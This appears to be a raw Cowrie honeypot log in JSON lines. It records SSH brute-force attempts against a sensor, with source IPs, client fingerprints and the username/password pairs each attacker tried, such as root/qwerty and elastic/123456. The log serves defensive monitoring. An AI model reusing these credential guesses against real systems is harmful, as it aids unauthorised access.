{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:15.551518Z","src_ip":"45.156.87.253","session":"60f200fc474f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59452,"dst_ip":"10.17.0.5","dst_port":22,"session":"49bf30ac6267","protocol":"ssh","message":"New connection: 45.156.87.253:59452 (10.17.0.5:22) [session: 49bf30ac6267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:17.559632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:17.563916Z","src_ip":"45.156.87.253","session":"49bf30ac6267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:17.646126Z","src_ip":"45.156.87.253","session":"49bf30ac6267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:17.889188Z","src_ip":"45.156.87.253","session":"49bf30ac6267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.865416765213013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:19.068241Z","src_ip":"50.62.181.92","session":"704f0e1de2cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:19.088459Z","src_ip":"45.156.87.253","session":"49bf30ac6267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49858,"dst_ip":"10.17.0.5","dst_port":22,"session":"36ceb81f5383","protocol":"ssh","message":"New connection: 45.156.87.253:49858 (10.17.0.5:22) [session: 36ceb81f5383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:20.858426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:20.862432Z","src_ip":"45.156.87.253","session":"36ceb81f5383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:20.943160Z","src_ip":"45.156.87.253","session":"36ceb81f5383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:21.186001Z","src_ip":"45.156.87.253","session":"36ceb81f5383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:22.268464Z","src_ip":"45.156.87.253","session":"36ceb81f5383","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49874,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e8ed877fa1e","protocol":"ssh","message":"New connection: 45.156.87.253:49874 (10.17.0.5:22) [session: 6e8ed877fa1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:24.263101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:24.267272Z","src_ip":"45.156.87.253","session":"6e8ed877fa1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.1","message":"Connection lost after 19.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:24.310106Z","src_ip":"192.163.244.125","session":"fed07bf54d48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:24.347648Z","src_ip":"45.156.87.253","session":"6e8ed877fa1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:24.590020Z","src_ip":"45.156.87.253","session":"6e8ed877fa1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:25.672626Z","src_ip":"45.156.87.253","session":"6e8ed877fa1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":33596,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aa277ad8d4c","protocol":"ssh","message":"New connection: 185.242.3.195:33596 (159.203.135.109:22) [session: 2aa277ad8d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:26.930990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:26.934504Z","src_ip":"185.242.3.195","session":"2aa277ad8d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:27.026072Z","src_ip":"185.242.3.195","session":"2aa277ad8d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$wOrd","message":"login attempt [root/P@$$wOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:27.302366Z","src_ip":"185.242.3.195","session":"2aa277ad8d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49880,"dst_ip":"10.17.0.5","dst_port":22,"session":"5debd5f82a8e","protocol":"ssh","message":"New connection: 45.156.87.253:49880 (10.17.0.5:22) [session: 5debd5f82a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:27.654506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:27.658664Z","src_ip":"45.156.87.253","session":"5debd5f82a8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:27.740108Z","src_ip":"45.156.87.253","session":"5debd5f82a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"dev","message":"login attempt [deploy/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:27.990039Z","src_ip":"45.156.87.253","session":"5debd5f82a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:28.396209Z","src_ip":"185.242.3.195","session":"2aa277ad8d4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:29.074205Z","src_ip":"45.156.87.253","session":"5debd5f82a8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":47778,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8282e3d8e6b","protocol":"ssh","message":"New connection: 108.179.220.174:47778 (10.17.0.5:22) [session: c8282e3d8e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:29.721446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:29.725652Z","src_ip":"108.179.220.174","session":"c8282e3d8e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:29.752787Z","src_ip":"108.179.220.174","session":"c8282e3d8e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"V3ch@!n@Tr0ng$","message":"login attempt [root/V3ch@!n@Tr0ng$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:29.836550Z","src_ip":"108.179.220.174","session":"c8282e3d8e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:30.866924Z","src_ip":"108.179.220.174","session":"c8282e3d8e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55838,"dst_ip":"10.17.0.5","dst_port":22,"session":"a64b2c040830","protocol":"ssh","message":"New connection: 45.156.87.253:55838 (10.17.0.5:22) [session: a64b2c040830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:30.963425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:30.967306Z","src_ip":"45.156.87.253","session":"a64b2c040830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:31.050014Z","src_ip":"45.156.87.253","session":"a64b2c040830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:31.294124Z","src_ip":"45.156.87.253","session":"a64b2c040830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:32.380056Z","src_ip":"45.156.87.253","session":"a64b2c040830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":58486,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5a64debb330","protocol":"ssh","message":"New connection: 162.241.129.208:58486 (159.203.135.109:22) [session: a5a64debb330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:33.927675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:33.932711Z","src_ip":"162.241.129.208","session":"a5a64debb330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:33.957598Z","src_ip":"162.241.129.208","session":"a5a64debb330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1tf1n3x#M@st3r!P@ss","message":"login attempt [root/B1tf1n3x#M@st3r!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:34.033576Z","src_ip":"162.241.129.208","session":"a5a64debb330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55844,"dst_ip":"10.17.0.5","dst_port":22,"session":"7161f6edd08f","protocol":"ssh","message":"New connection: 45.156.87.253:55844 (10.17.0.5:22) [session: 7161f6edd08f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:34.294409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:34.388105Z","src_ip":"45.156.87.253","session":"7161f6edd08f","protocol":"ssh"}
